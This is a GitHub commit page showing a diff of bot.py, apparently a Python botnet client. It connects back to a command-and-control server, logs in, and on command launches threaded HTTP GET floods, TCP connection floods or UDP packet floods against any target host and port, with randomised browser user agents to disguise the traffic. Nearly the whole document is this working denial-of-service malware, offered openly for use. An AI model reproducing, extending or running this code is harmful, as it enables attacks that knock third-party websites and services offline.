Skip to content
This repository was archived by the owner on Jan 21, 2020. It is now read-only.

Commit c8514ca

Browse files
authored
Improved traffic between cnc and bot
1 parent 33821a3 commit c8514ca

2 files changed

Lines changed: 249 additions & 207 deletions

File tree

bot.py

Lines changed: 113 additions & 97 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
#!/usr/bin/env python3
22
#Code By Leeon123
33

4-
#-- Python Bot version v1.0 --#
4+
#-- Python Bot version v1.2 --#
55

66
import argparse
77
import socket
@@ -12,7 +12,8 @@
1212
import random
1313
import threading
1414

15-
curProcess = None
15+
cnc = str("127.0.0.1")#your cnc ip
16+
cport = int(80)#your cnc port
1617

1718
useragents=["Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1",
1819
"Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1",
@@ -29,11 +30,11 @@
2930
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7",
3031
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
3132
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1",
32-
"Mozilla/5.0 (Linux; Android 7.1.1; MI 6 Build/NMF26X; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/6.2 TBS/043807 Mobile Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
33-
"Mozilla/5.0 (Linux; Android 7.1.1; OD103 Build/NMF26F; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN",
34-
"Mozilla/5.0 (Linux; Android 6.0.1; SM919 Build/MXB48T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
35-
"Mozilla/5.0 (Linux; Android 5.1.1; vivo X6S A Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
36-
"Mozilla/5.0 (Linux; Android 5.1; HUAWEI TAG-AL00 Build/HUAWEITAG-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043622 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN",]
33+
"Mozilla/5.0 (Linux; Android 7.1.1; MI 6 Build/NMF26X; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.132 MQQBrowser/6.2 TBS/043807 Mobile Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
34+
"Mozilla/5.0 (Linux; Android 7.1.1; OD103 Build/NMF26F; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN",
35+
"Mozilla/5.0 (Linux; Android 6.0.1; SM919 Build/MXB48T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
36+
"Mozilla/5.0 (Linux; Android 5.1.1; vivo X6S A Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043632 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/WIFI Language/zh_CN",
37+
"Mozilla/5.0 (Linux; Android 5.1; HUAWEI TAG-AL00 Build/HUAWEITAG-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043622 Safari/537.36 MicroMessenger/6.6.1.1220(0x26060135) NetType/4G Language/zh_CN",]
3738

3839
acceptall = [
3940
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
@@ -52,107 +53,122 @@
5253
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\n",
5354
"Accept: text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",]
5455

55-
tcpbytes = random._urandom(1024) #For the tcp and udp flood
56-
udpbytes = random._urandom(512)
57-
58-
def CC(ip, port, thread):
59-
for x in range(100000000):#For a long time flooding
60-
get_host = "GET / HTTP/1.1\r\nHost: " + ip + "\r\n"
61-
connection = "Connection: Keep-Alive\r\n"
62-
useragent = "User-Agent: " + random.choice(useragents) + "\r\n"
63-
accept = random.choice(acceptall)
64-
http = get_host + useragent + accept + connection + "\r\n"
65-
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
66-
s.connect((str(ip), int(port)))
67-
for y in range(thread):
68-
s.send(str.encode(http))
69-
70-
def tcpflood(ip, port, thread):
71-
for x in range(100000000):
72-
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
73-
s.connect((str(ip),int(port)))
74-
s.send(tcpbytes)
75-
for y in range(thread):
76-
s.send(tcpbytes)
77-
s.close()
78-
79-
def udpflood(ip, port, thread):
80-
for x in range(100000000):
81-
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
82-
sendip=(str(ip),int(port))
83-
for y in range(thread):
84-
s.sendto(udpbytes, sendip)
85-
s.close()
86-
87-
def cmdHandle(sock, parser):#Now you know how does the bot handle the commands from cnc.py
88-
global curProcess
89-
while True:
90-
data = sock.recv(1024).decode()
91-
if len(data) == 0:
92-
main()
93-
if data[0] == '!':
94-
try:
95-
options = parser.parse_args(data[1:].split())
96-
97-
m_host = options.host
98-
m_port = options.port
99-
m_thread = options.threads
100-
m_cmd = options.cmd
101-
102-
if m_cmd.lower() == 'cc':
103-
if curProcess !=None and curProcess.is_alive():
104-
curProcess.terminate()
105-
curProcess = None
106-
p = Process(target=CC, args = (m_host, m_port, m_thread))
107-
p.start()
108-
#print("CC Flood Start")
109-
curProcess = p
110-
if m_cmd.lower() == 'tcp':
111-
if curProcess !=None and curProcess.is_alive():
112-
curProcess.terminate()
113-
curProcess = None
114-
p = Process(target=tcpflood, args = (m_host, m_port, m_thread))
115-
p.start()
116-
#print("TCP Flood Start")
117-
curProcess = p
118-
if m_cmd.lower() == 'udp':
119-
if curProcess !=None and curProcess.is_alive():
120-
curProcess.terminate()
121-
curProcess = None
122-
p = Process(target=udpflood, args = (m_host, m_port, m_thread))
123-
p.start()
124-
#print("UDP Flood Start")
125-
curProcess = p
126-
elif m_cmd.lower() == 'stop':
127-
if curProcess.is_alive():
128-
curProcess.terminate()
129-
except:
130-
pass
56+
stop = False
57+
def HTTP(ip, port, path):
58+
global stop
59+
while True:
60+
if stop :
61+
break
62+
get_host = "GET "+path+"?"+str(random.randint(0,50000))+" HTTP/1.1\r\nHost: " + ip + "\r\n"
63+
connection = "Connection: Keep-Alive\r\n"
64+
useragent = "User-Agent: " + random.choice(useragents) + "\r\n"
65+
accept = random.choice(acceptall)
66+
http = get_host + useragent + accept + connection + "\r\n"
67+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
68+
try:
69+
s.connect((str(ip), int(port)))
70+
for y in range(100):
71+
s.send(str.encode(http))
72+
#s.close()
73+
except:
74+
s.close()
75+
76+
def CC(ip, port):
77+
global stop
78+
while True:
79+
if stop :
80+
break
81+
try:
82+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
83+
s.connect((str(ip),int(port)))
84+
s.send("\000".encode())
85+
s.close()
86+
except:
87+
s.close()
88+
89+
def UDP(ip, port, size):
90+
global stop
91+
while True:
92+
if stop :
93+
break
94+
udpbytes = random._urandom(int(size))
95+
sendip=(str(ip),int(port))
96+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
97+
try:
98+
for y in range(thread):
99+
s.sendto(udpbytes, sendip)
100+
s.close()
101+
except:
102+
s.close()
103+
104+
def cmdHandle(sock):
105+
global stop
106+
attack = 0
107+
sock.send("1337".encode())#login cnc
108+
while True:
109+
data = sock.recv(1024).decode()
110+
if len(data) == 0:
111+
main()
112+
if data[0] == '!':
113+
try:
114+
command = data.split()
115+
print(command)
116+
if command[0] == '!cc':
117+
if attack != 0:
118+
stop = True
119+
attack=0
120+
if len(command) != 4 :
121+
sock.send()
122+
stop = False
123+
for x in range(int(command[3])):
124+
p = threading.Thread(target=CC, args=(command[1],command[2]))
125+
p.start()
126+
attack+=1
127+
elif command[0] == '!http':
128+
if attack != 0:
129+
stop = True
130+
attack=0
131+
stop = False
132+
for x in range(int(command[3])):
133+
p = threading.Thread(target=HTTP, args =(command[1],command[2],command[4]))
134+
p.start()
135+
attack+=1
136+
elif command[0] == '!udp':
137+
if attack != 0:
138+
stop = True
139+
attack=0
140+
stop = False
141+
for x in range(int(command[3])):
142+
p = threading.Thread(target=UDP, args =(command[1],command[2],command[4]))
143+
p.start()
144+
attack+=1
145+
elif command[0] == '!stop':
146+
stop = True
147+
attack = 0#clear attack list
148+
except:
149+
pass
150+
if data == "ping":#ping
151+
sock.send("pong".encode())#keepalive and check connection alive
131152

132153
def main():
133-
p = argparse.ArgumentParser()#Now you know how does the bot handle the commands from cnc.py
134-
p.add_argument('-H', dest='host', type=str)
135-
p.add_argument('-p', dest='port',type=int)
136-
p.add_argument('-t', dest='threads',type=int)
137-
p.add_argument('-c', dest='cmd', type=str)
138-
154+
139155
try:
140156
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
141157
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
142-
s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)#Keepalive connection
143-
s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPIDLE, 10)
144-
s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPINTVL, 10)
158+
s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
159+
#s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPIDLE, 10)
160+
#s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPINTVL, 10)
145161
s.setsockopt(socket.SOL_TCP, socket.TCP_KEEPCNT, 3)
146-
s.connect(('127.0.0.1',1337))#Change your server ip and port
162+
s.connect((cnc,cport))
147163

148-
cmdHandle(s, p)
164+
cmdHandle(s)
149165

150166
except Exception as e:
151-
connect()
167+
connect()#magic loop
152168

153-
def connect():#for a loop to connect the server until this script break.
169+
def connect():
154170
time.sleep(5)
155171
main()
156172

157173
if __name__ == '__main__':
158-
main()
174+
main()

0 commit comments

Comments
 (0)